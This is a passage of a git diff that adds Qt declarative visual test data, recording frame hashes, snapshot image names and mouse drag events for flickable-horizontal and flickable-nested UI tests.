+ hash: "e3dc252a3a0b35398bf3d91c37d6b5e9"
+ }
+ Frame {
+ msec: 2448
+ hash: "5bce3aac5cc049d81a74e7f71e2cf522"
+ }
+ Frame {
+ msec: 2464
+ hash: "390edc00756c4e92e94a7a75f3d65c45"
+ }
+ Frame {
+ msec: 2480
+ hash: "285397b2ff5a64d2a112c458d6ec5aba"
+ }
+ Frame {
+ msec: 2496
+ hash: "ed0889dc439d66e6b5a81059956ef564"
+ }
+ Frame {
+ msec: 2512
+ hash: "cb804da0db92d879a5cb8f138c546f88"
+ }
+ Frame {
+ msec: 2528
+ hash: "523fe4d3d9c11631f41d96bcc604103b"
+ }
+ Frame {
+ msec: 2544
+ hash: "cc4717c4233f9a2f2380bfad6dc89075"
+ }
+ Frame {
+ msec: 2560
+ hash: "65c4171ff3e98aa04667606d9f6bd9b3"
+ }
+ Frame {
+ msec: 2576
+ hash: "b2994136a603206c8013158fd67ca6bd"
+ }
+ Frame {
+ msec: 2592
+ hash: "44ad0d4645a01243b9d9be0faaf6d6ee"
+ }
+ Frame {
+ msec: 2608
+ hash: "3b7b06f5f3f028fbae21dfedf821e696"
+ }
+ Frame {
+ msec: 2624
+ hash: "b86466e530c3bd51353074cbb9da9ec3"
+ }
+ Frame {
+ msec: 2640
+ hash: "2528deb04bae8b89a85dc6fcea05dbbd"
+ }
+ Frame {
+ msec: 2656
+ hash: "e0ff5e36bff2b9e08244fc7f79cecee6"
+ }
+ Frame {
+ msec: 2672
+ hash: "34ca311d2e3462da3779324419c027e7"
+ }
+ Frame {
+ msec: 2688
+ hash: "75aae68f21f68364a897c504f26ee655"
+ }
+ Frame {
+ msec: 2704
+ hash: "8039e52e7f1977433596c1a34a41cc9f"
+ }
+ Frame {
+ msec: 2720
+ hash: "8039e52e7f1977433596c1a34a41cc9f"
+ }
+ Frame {
+ msec: 2736
+ hash: "75aae68f21f68364a897c504f26ee655"
+ }
+ Frame {
+ msec: 2752
+ hash: "34ca311d2e3462da3779324419c027e7"
+ }
+ Frame {
+ msec: 2768
+ hash: "d3649eb8f8232b0e64b0cb476313b63c"
+ }
+ Frame {
+ msec: 2784
+ hash: "cdb30549933d3778e74dbd419b474a5f"
+ }
+ Frame {
+ msec: 2800
+ hash: "3a43d652bb85d3f562bd5eaec386107f"
+ }
+ Frame {
+ msec: 2816
+ hash: "df6771eb2afa24b6e3250b05b180fa4d"
+ }
+ Frame {
+ msec: 2832
+ hash: "cc4717c4233f9a2f2380bfad6dc89075"
+ }
+ Frame {
+ msec: 2848
+ hash: "76e04278dab430d5860306830b73ab6f"
+ }
+ Frame {
+ msec: 2864
+ hash: "8f70f69731fe8b8f4aa397a667f4c5c0"
+ }
+ Frame {
+ msec: 2880
+ hash: "25b72be5ca16c246bfc6adc4bf19871c"
+ }
+ Frame {
+ msec: 2896
+ image: "flickable-horizontal.3.png"
+ }
+ Frame {
+ msec: 2912
+ hash: "e3dc252a3a0b35398bf3d91c37d6b5e9"
+ }
+ Frame {
+ msec: 2928
+ hash: "ce0d8b3f0f0b235eaedc932f4514ea00"
+ }
+ Frame {
+ msec: 2944
+ hash: "f6b030effcca891ab20073f106b22d73"
+ }
+ Frame {
+ msec: 2960
+ hash: "2cfafd1f686f5794d5bf99ec4aaa1d08"
+ }
+ Frame {
+ msec: 2976
+ hash: "502a23fd9a3bcccb29c496e7edeb5d66"
+ }
+ Frame {
+ msec: 2992
+ hash: "82ac348a63a4e358a877a2e45d48e2b1"
+ }
+ Frame {
+ msec: 3008
+ hash: "0d321f4ca15f09d849c4a28f032cc1cc"
+ }
+ Frame {
+ msec: 3024
+ hash: "5c995f84415ea7a260647f946b8963ee"
+ }
+ Frame {
+ msec: 3040
+ hash: "ee4ecac449c4a2ad4e11ad1d560b3ec3"
+ }
+ Frame {
+ msec: 3056
+ hash: "0bc3d5b91d781bcf10041eb1557f0d6a"
+ }
+ Frame {
+ msec: 3072
+ hash: "321297177b354e0cc435b3eae49331a3"
+ }
+ Frame {
+ msec: 3088
+ hash: "321297177b354e0cc435b3eae49331a3"
+ }
+ Frame {
+ msec: 3104
+ hash: "de00148fe89be44237af32d929432655"
+ }
+ Frame {
+ msec: 3120
+ hash: "de00148fe89be44237af32d929432655"
+ }
+ Frame {
+ msec: 3136
+ hash: "756c8068009e9780428bd3ae35df19fe"
+ }
+ Frame {
+ msec: 3152
+ hash: "afec5604967bc19a2bb8fc7e899c1e11"
+ }
+ Frame {
+ msec: 3168
+ hash: "afec5604967bc19a2bb8fc7e899c1e11"
+ }
+ Frame {
+ msec: 3184
+ hash: "afec5604967bc19a2bb8fc7e899c1e11"
+ }
+ Frame {
+ msec: 3200
+ hash: "66d988259c52db9bd85f60ed598469f7"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 412; y: 214
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3216
+ hash: "66d988259c52db9bd85f60ed598469f7"
+ }
+ Frame {
+ msec: 3232
+ hash: "66d988259c52db9bd85f60ed598469f7"
+ }
+ Frame {
+ msec: 3248
+ hash: "66d988259c52db9bd85f60ed598469f7"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 408; y: 214
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 407; y: 214
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3264
+ hash: "96a78749a57bdb87cf28a3804b63793f"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 403; y: 214
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3280
+ hash: "b8f158a8694f2b922faf818d469230e4"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 398; y: 214
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3296
+ hash: "257a298bec9589037e3022cc2fe7a775"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 391; y: 214
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3312
+ hash: "391d17c09dd33b3dcfc9a619fbb500dc"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 383; y: 214
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3328
+ hash: "b645a1808de7a5d2ce7944ab66a7c233"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 369; y: 213
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3344
+ hash: "54ddfe85ca8923bcf7f3b6ccab0560de"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 352; y: 211
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3360
+ hash: "5c1169e17ee96b817e66b4a6097f790c"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 331; y: 210
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3376
+ hash: "cd34e7118d43968cfcf52ed9ce58fc0a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 314; y: 210
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3392
+ hash: "f3d9d5cd228914b2e1323f19c22aa6f9"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 300; y: 210
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3408
+ hash: "10e63c46f4b970a9c997126906c01cf9"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 288; y: 210
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3424
+ hash: "c9b412087f7b744096bf995c6a9ddf15"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 278; y: 210
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3440
+ hash: "70cdc34e22c7a031c2e28898f7edea72"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 266; y: 210
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3456
+ hash: "d0ea5c1f9050499d944ba7e61d354e40"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 252; y: 208
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3472
+ hash: "d9fc23e14a170b68264721dc18be4fb1"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 238; y: 208
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3488
+ hash: "d59ccdfdb179f2c8c2636a64aecf2a6a"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 227; y: 206
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3504
+ hash: "6d21752283210371faf2f757c7a972b3"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 224; y: 206
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3520
+ hash: "1338a54d3b980a6868ba7d167cfdbdf7"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 222; y: 206
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3536
+ hash: "0be430c9e6058be2aee599d4182bc0d0"
+ }
+ Frame {
+ msec: 3552
+ hash: "0be430c9e6058be2aee599d4182bc0d0"
+ }
+ Frame {
+ msec: 3568
+ hash: "0be430c9e6058be2aee599d4182bc0d0"
+ }
+ Frame {
+ msec: 3584
+ hash: "0be430c9e6058be2aee599d4182bc0d0"
+ }
+ Frame {
+ msec: 3600
+ hash: "0be430c9e6058be2aee599d4182bc0d0"
+ }
+ Frame {
+ msec: 3616
+ hash: "0be430c9e6058be2aee599d4182bc0d0"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 224; y: 206
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3632
+ hash: "1338a54d3b980a6868ba7d167cfdbdf7"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 232; y: 204
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3648
+ hash: "b58a71e761abe238de0e90c1c756cd37"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 246; y: 203
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3664
+ hash: "3383dc4a9b1f8267d145d22f9d825dc0"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 265; y: 203
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3680
+ hash: "95df7fbe18630d9b8ffa83850bc5bec5"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 292; y: 201
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3696
+ hash: "96c625b6854a862c83ead3fbb32df3b0"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 310; y: 201
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3712
+ hash: "f48f12540c60bc7b60279db8e67ff91b"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 321; y: 199
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3728
+ hash: "98353745244809a583c93c1fd87b9a56"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 323; y: 199
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3744
+ hash: "09a1bb3238282c80cc40fccb6e45ba28"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 324; y: 199
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3760
+ hash: "9e50b6fc980c66698a35178e2520e13c"
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 324; y: 199
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 3776
+ hash: "9e50b6fc980c66698a35178e2520e13c"
+ }
+ Frame {
+ msec: 3792
+ hash: "006c37d9d6b5a8470d74909b9646d5f1"
+ }
+ Frame {
+ msec: 3808
+ hash: "24cf52f7c3cf095be20393757dfaaa6b"
+ }
+ Frame {
+ msec: 3824
+ hash: "2189799d060770928f1feaaa44728ec8"
+ }
+ Frame {
+ msec: 3840
+ hash: "b8a6375f0303ec8b66cf14f59888c273"
+ }
+ Frame {
+ msec: 3856
+ image: "flickable-horizontal.4.png"
+ }
+ Frame {
+ msec: 3872
+ hash: "1fd391b060c84ac99c6e94d2d3647c31"
+ }
+ Frame {
+ msec: 3888
+ hash: "8b594f115e8158b931a9da42fa6829a5"
+ }
+ Frame {
+ msec: 3904
+ hash: "8f93fdffed4bfd31f9f5977b09074f6a"
+ }
+ Frame {
+ msec: 3920
+ hash: "d0f3eae785732bf24c363fd189672eb2"
+ }
+ Frame {
+ msec: 3936
+ hash: "9113c68cf5689e1f4690e58bbf824ae6"
+ }
+ Frame {
+ msec: 3952
+ hash: "44dd376f3d5f61ec71b7c488c3a6ee58"
+ }
+ Frame {
+ msec: 3968
+ hash: "4555e295bd6de22abcbaecf797ec8902"
+ }
+ Frame {
+ msec: 3984
+ hash: "eb343f3e69f205a240c0425873ea6db1"
+ }
+ Frame {
+ msec: 4000
+ hash: "37a5b81894c16cacd13312f7113a5445"
+ }
+ Frame {
+ msec: 4016
+ hash: "2f9ec963d6f06f8252a69760965df2ee"
+ }
+ Frame {
+ msec: 4032
+ hash: "dec984b2a5cdd85f2dfb8983da5cdee4"
+ }
+ Frame {
+ msec: 4048
+ hash: "a95f51c3e172ee76b5b74e94532cdfaf"
+ }
+ Frame {
+ msec: 4064
+ hash: "62d73e875875329c886d2eb540a9c2d9"
+ }
+ Frame {
+ msec: 4080
+ hash: "63c70a0ea1f43d92c717ff23dcfebe81"
+ }
+ Frame {
+ msec: 4096
+ hash: "49372aa66b86904d587b72c6c2cfd467"
+ }
+ Frame {
+ msec: 4112
+ hash: "523c18f3c7bbaaf9c625835ddf0d8435"
+ }
+ Frame {
+ msec: 4128
+ hash: "257a298bec9589037e3022cc2fe7a775"
+ }
+ Frame {
+ msec: 4144
+ hash: "d777e4b06791bda82cf1e8e84b1cff5c"
+ }
+ Frame {
+ msec: 4160
+ hash: "c31de5bfff431b13dcbf2b8b4c503bc3"
+ }
+ Frame {
+ msec: 4176
+ hash: "b8f158a8694f2b922faf818d469230e4"
+ }
+ Frame {
+ msec: 4192
+ hash: "5fd4cd0c335cecc7468d44d188e1669d"
+ }
+ Frame {
+ msec: 4208
+ hash: "77b003c8f72498ed295678158adf417c"
+ }
+ Frame {
+ msec: 4224
+ hash: "96a78749a57bdb87cf28a3804b63793f"
+ }
+ Frame {
+ msec: 4240
+ hash: "f497ed7bc98daea35a9ae4838427207e"
+ }
+ Frame {
+ msec: 4256
+ hash: "35a7221f2888ab3afec443b2c1060c80"
+ }
+ Frame {
+ msec: 4272
+ hash: "35a7221f2888ab3afec443b2c1060c80"
+ }
+ Frame {
+ msec: 4288
+ hash: "4769fa4ba0c08baefa431b94b47a7ffc"
+ }
+ Frame {
+ msec: 4304
+ hash: "66d988259c52db9bd85f60ed598469f7"
+ }
+ Frame {
+ msec: 4320
+ hash: "66d988259c52db9bd85f60ed598469f7"
+ }
+ Frame {
+ msec: 4336
+ hash: "afec5604967bc19a2bb8fc7e899c1e11"
+ }
+ Frame {
+ msec: 4352
+ hash: "afec5604967bc19a2bb8fc7e899c1e11"
+ }
+ Frame {
+ msec: 4368
+ hash: "afec5604967bc19a2bb8fc7e899c1e11"
+ }
+ Frame {
+ msec: 4384
+ hash: "afec5604967bc19a2bb8fc7e899c1e11"
+ }
+ Frame {
+ msec: 4400
+ hash: "afec5604967bc19a2bb8fc7e899c1e11"
+ }
+ Frame {
+ msec: 4416
+ hash: "afec5604967bc19a2bb8fc7e899c1e11"
+ }
+ Frame {
+ msec: 4432
+ hash: "afec5604967bc19a2bb8fc7e899c1e11"
+ }
+ Frame {
+ msec: 4448
+ hash: "afec5604967bc19a2bb8fc7e899c1e11"
+ }
+ Frame {
+ msec: 4464
+ hash: "afec5604967bc19a2bb8fc7e899c1e11"
+ }
+ Frame {
+ msec: 4480
+ hash: "afec5604967bc19a2bb8fc7e899c1e11"
+ }
+ Frame {
+ msec: 4496
+ hash: "afec5604967bc19a2bb8fc7e899c1e11"
+ }
+ Frame {
+ msec: 4512
+ hash: "afec5604967bc19a2bb8fc7e899c1e11"
+ }
+ Frame {
+ msec: 4528
+ hash: "66d988259c52db9bd85f60ed598469f7"
+ }
+ Frame {
+ msec: 4544
+ hash: "66d988259c52db9bd85f60ed598469f7"
+ }
+ Frame {
+ msec: 4560
+ hash: "66d988259c52db9bd85f60ed598469f7"
+ }
+ Frame {
+ msec: 4576
+ hash: "66d988259c52db9bd85f60ed598469f7"
+ }
+ Frame {
+ msec: 4592
+ hash: "66d988259c52db9bd85f60ed598469f7"
+ }
+ Frame {
+ msec: 4608
+ hash: "66d988259c52db9bd85f60ed598469f7"
+ }
+ Frame {
+ msec: 4624
+ hash: "66d988259c52db9bd85f60ed598469f7"
+ }
+ Frame {
+ msec: 4640
+ hash: "66d988259c52db9bd85f60ed598469f7"
+ }
+ Frame {
+ msec: 4656
+ hash: "66d988259c52db9bd85f60ed598469f7"
+ }
+ Frame {
+ msec: 4672
+ hash: "66d988259c52db9bd85f60ed598469f7"
+ }
+ Frame {
+ msec: 4688
+ hash: "66d988259c52db9bd85f60ed598469f7"
+ }
+ Frame {
+ msec: 4704
+ hash: "66d988259c52db9bd85f60ed598469f7"
+ }
+}
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-nested.0.png b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-nested.0.png
new file mode 100644
index 00000000..464d9133
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-nested.0.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-nested.1.png b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-nested.1.png
new file mode 100644
index 00000000..464d9133
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-nested.1.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-nested.2.png b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-nested.2.png
new file mode 100644
index 00000000..b16b9f0e
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-nested.2.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-nested.3.png b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-nested.3.png
new file mode 100644
index 00000000..c3d2a6f5
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-nested.3.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-nested.4.png b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-nested.4.png
new file mode 100644
index 00000000..d074e733
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-nested.4.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-nested.5.png b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-nested.5.png
new file mode 100644
index 00000000..0cac34ce
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-nested.5.png
Binary files differ
diff --git a/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-nested.qml b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-nested.qml
new file mode 100644
index 00000000..c418cc80
--- /dev/null
+++ b/tests/auto/declarative/qmlvisual/qdeclarativeflickable/data/flickable-nested.qml
@@ -0,0 +1,2159 @@
+import Qt.VisualTest 4.7
+
+VisualTest {
+ Frame {
+ msec: 0
+ }
+ Frame {
+ msec: 16
+ image: "flickable-nested.0.png"
+ }
+ Frame {
+ msec: 32
+ hash: "7523750f0fd21aff13e6ab379e87640d"
+ }
+ Frame {
+ msec: 48
+ hash: "7523750f0fd21aff13e6ab379e87640d"
+ }
+ Frame {
+ msec: 64
+ hash: "7523750f0fd21aff13e6ab379e87640d"
+ }
+ Frame {
+ msec: 80
+ hash: "7523750f0fd21aff13e6ab379e87640d"
+ }
+ Frame {
+ msec: 96
+ hash: "7523750f0fd21aff13e6ab379e87640d"
+ }
+ Frame {
+ msec: 112
+ hash: "7523750f0fd21aff13e6ab379e87640d"
+ }
+ Frame {
+ msec: 128
+ hash: "7523750f0fd21aff13e6ab379e87640d"
+ }
+ Frame {
+ msec: 144
+ hash: "7523750f0fd21aff13e6ab379e87640d"
+ }
+ Frame {
+ msec: 160
+ hash: "7523750f0fd21aff13e6ab379e87640d"
+ }
+ Frame {
+ msec: 176
+ hash: "7523750f0fd21aff13e6ab379e87640d"
+ }
+ Frame {
+ msec: 192
+ hash: "7523750f0fd21aff13e6ab379e87640d"
+ }
+ Frame {
+ msec: 208
+ hash: "7523750f0fd21aff13e6ab379e87640d"
+ }
+ Frame {
+ msec: 224
+ hash: "7523750f0fd21aff13e6ab379e87640d"
+ }
+ Frame {
+ msec: 240
+ hash: "7523750f0fd21aff13e6ab379e87640d"
+ }
+ Frame {
+ msec: 256
+ hash: "7523750f0fd21aff13e6ab379e87640d"
+ }
+ Frame {
+ msec: 272
+ hash: "7523750f0fd21aff13e6ab379e87640d"
+ }
+ Frame {
+ msec: 288
+ hash: "7523750f0fd21aff13e6ab379e87640d"
+ }
+ Frame {
+ msec: 304
+ hash: "7523750f0fd21aff13e6ab379e87640d"
+ }
+ Frame {
+ msec: 320
+ hash: "7523750f0fd21aff13e6ab379e87640d"
+ }
+ Frame {
+ msec: 336
+ hash: "7523750f0fd21aff13e6ab379e87640d"
+ }
+ Frame {
+ msec: 352
+ hash: "7523750f0fd21aff13e6ab379e87640d"
+ }
+ Frame {
+ msec: 368
+ hash: "7523750f0fd21aff13e6ab379e87640d"
+ }
+ Frame {
+ msec: 384
+ hash: "7523750f0fd21aff13e6ab379e87640d"
+ }
+ Frame {
+ msec: 400
+ hash: "7523750f0fd21aff13e6ab379e87640d"
+ }
+ Frame {
+ msec: 416
+ hash: "7523750f0fd21aff13e6ab379e87640d"
+ }
+ Frame {
+ msec: 432
+ hash: "7523750f0fd21aff13e6ab379e87640d"
+ }
+ Frame {
+ msec: 448
+ hash: "7523750f0fd21aff13e6ab379e87640d"
+ }
+ Frame {
+ msec: 464
+ hash: "7523750f0fd21aff13e6ab379e87640d"
+ }
+ Frame {
+ msec: 480
+ hash: "7523750f0fd21aff13e6ab379e87640d"
+ }
+ Frame {
+ msec: 496
+ hash: "7523750f0fd21aff13e6ab379e87640d"
+ }
+ Frame {
+ msec: 512
+ hash: "7523750f0fd21aff13e6ab379e87640d"
+ }
+ Frame {
+ msec: 528
+ hash: "7523750f0fd21aff13e6ab379e87640d"
+ }
+ Frame {
+ msec: 544
+ hash: "7523750f0fd21aff13e6ab379e87640d"
+ }
+ Frame {
+ msec: 560
+ hash: "7523750f0fd21aff13e6ab379e87640d"
+ }
+ Frame {
+ msec: 576
+ hash: "7523750f0fd21aff13e6ab379e87640d"
+ }
+ Frame {
+ msec: 592
+ hash: "7523750f0fd21aff13e6ab379e87640d"
+ }
+ Frame {
+ msec: 608
+ hash: "7523750f0fd21aff13e6ab379e87640d"
+ }
+ Frame {
+ msec: 624
+ hash: "7523750f0fd21aff13e6ab379e87640d"
+ }
+ Frame {
+ msec: 640
+ hash: "7523750f0fd21aff13e6ab379e87640d"
+ }
+ Frame {
+ msec: 656
+ hash: "7523750f0fd21aff13e6ab379e87640d"
+ }
+ Frame {
+ msec: 672
+ hash: "7523750f0fd21aff13e6ab379e87640d"
+ }
+ Frame {
+ msec: 688
+ hash: "7523750f0fd21aff13e6ab379e87640d"
+ }
+ Frame {
+ msec: 704
+ hash: "7523750f0fd21aff13e6ab379e87640d"
+ }
+ Frame {
+ msec: 720
+ hash: "7523750f0fd21aff13e6ab379e87640d"
+ }
+ Frame {
+ msec: 736
+ hash: "7523750f0fd21aff13e6ab379e87640d"
+ }
+ Frame {
+ msec: 752
+ hash: "7523750f0fd21aff13e6ab379e87640d"
+ }
+ Frame {
+ msec: 768
+ hash: "7523750f0fd21aff13e6ab379e87640d"
+ }
+ Frame {
+ msec: 784
+ hash: "7523750f0fd21aff13e6ab379e87640d"
+ }
+ Frame {
+ msec: 800
+ hash: "7523750f0fd21aff13e6ab379e87640d"
+ }
+ Frame {
+ msec: 816
+ hash: "7523750f0fd21aff13e6ab379e87640d"
+ }
+ Frame {
+ msec: 832
+ hash: "7523750f0fd21aff13e6ab379e87640d"
+ }
+ Frame {
+ msec: 848
+ hash: "7523750f0fd21aff13e6ab379e87640d"
+ }
+ Frame {
+ msec: 864
+ hash: "7523750f0fd21aff13e6ab379e87640d"
+ }
+ Frame {
+ msec: 880
+ hash: "7523750f0fd21aff13e6ab379e87640d"
+ }
+ Frame {
+ msec: 896
+ hash: "7523750f0fd21aff13e6ab379e87640d"
+ }
+ Frame {
+ msec: 912
+ hash: "7523750f0fd21aff13e6ab379e87640d"
+ }
+ Frame {
+ msec: 928
+ hash: "7523750f0fd21aff13e6ab379e87640d"
+ }
+ Mouse {
+ type: 2
+ button: 1
+ buttons: 1
+ x: 206; y: 205
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 944
+ hash: "7523750f0fd21aff13e6ab379e87640d"
+ }
+ Frame {
+ msec: 960
+ hash: "7523750f0fd21aff13e6ab379e87640d"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 206; y: 204
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 976
+ image: "flickable-nested.1.png"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 206; y: 203
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 206; y: 202
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 992
+ hash: "7523750f0fd21aff13e6ab379e87640d"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 205; y: 201
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 205; y: 199
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1008
+ hash: "7523750f0fd21aff13e6ab379e87640d"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 204; y: 197
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 202; y: 196
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1024
+ hash: "bddf8ca2638c9a04f7029d6982152d11"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 198; y: 191
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 197; y: 189
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1040
+ hash: "bc15f1b562879d5058d3b1336fb9074e"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 194; y: 185
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 194; y: 184
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1056
+ hash: "3572c62d7d2b9b23a8d9d3e5037591dd"
+ }
+ Mouse {
+ type: 5
+ button: 0
+ buttons: 1
+ x: 194; y: 182
+ modifiers: 0
+ sendToViewport: true
+ }
+ Mouse {
+ type: 3
+ button: 1
+ buttons: 0
+ x: 194; y: 182
+ modifiers: 0
+ sendToViewport: true
+ }
+ Frame {
+ msec: 1072
+ hash: "ce9658887cca581a88e7db14b92d46f2"
+ }
+ Frame {
+ msec: 1088
+ hash: "e1fe1a2e1669a200e20468b4aa98dd3d"
+ }
+ Frame {
+ msec: 1104
+ hash: "b7582829bf01223e6641ce82f62047df"
+ }
+ Frame {
+ msec: 1120
+ hash: "80bd41fe22fb84efb011acf50ec38574"
+ }
+ Frame {
+ msec: 1136
+ hash: "04c8d6c3922ce9777ee27d8df59d4729"
+ }
+ Frame {
+ msec: 1152
+ hash: "f84dba18e525f1c06548c0232a244b6d"
+ }
+ Frame {
+ msec: 1168
+ hash: "26c74b95835e8e0da5aadc7c42cac81c"
+ }
+ Frame {
+ msec: 1184
+ hash: "1b4fcb1f0bd83a683cfe0ac303be0033"
+ }
+ Frame {
+ msec: 1200
+ hash: "1b4fcb1f0bd83a683cfe0ac303be0033"
+ }
+ Frame {
+ msec: 1216
+ hash: "4df47f90656fff253883e3e2d33506dc"
+ }
+ Frame {
+ msec: 1232
+ hash: "4df47f90656fff253883e3e2d33506dc"
+ }
+ Frame {
+ msec: 1248
+ hash: "7d0d94c4a7a9330f5bd17782ca484848"
+ }
+ Frame {
+ msec: 1264
+ hash: "7d0d94c4a7a9330f5bd17782ca484848"
+ }
+ Frame {
+ msec: 1280
+ hash: "7d0d94c4a7a9330f5bd17782ca484848"
+ }
+ Frame {
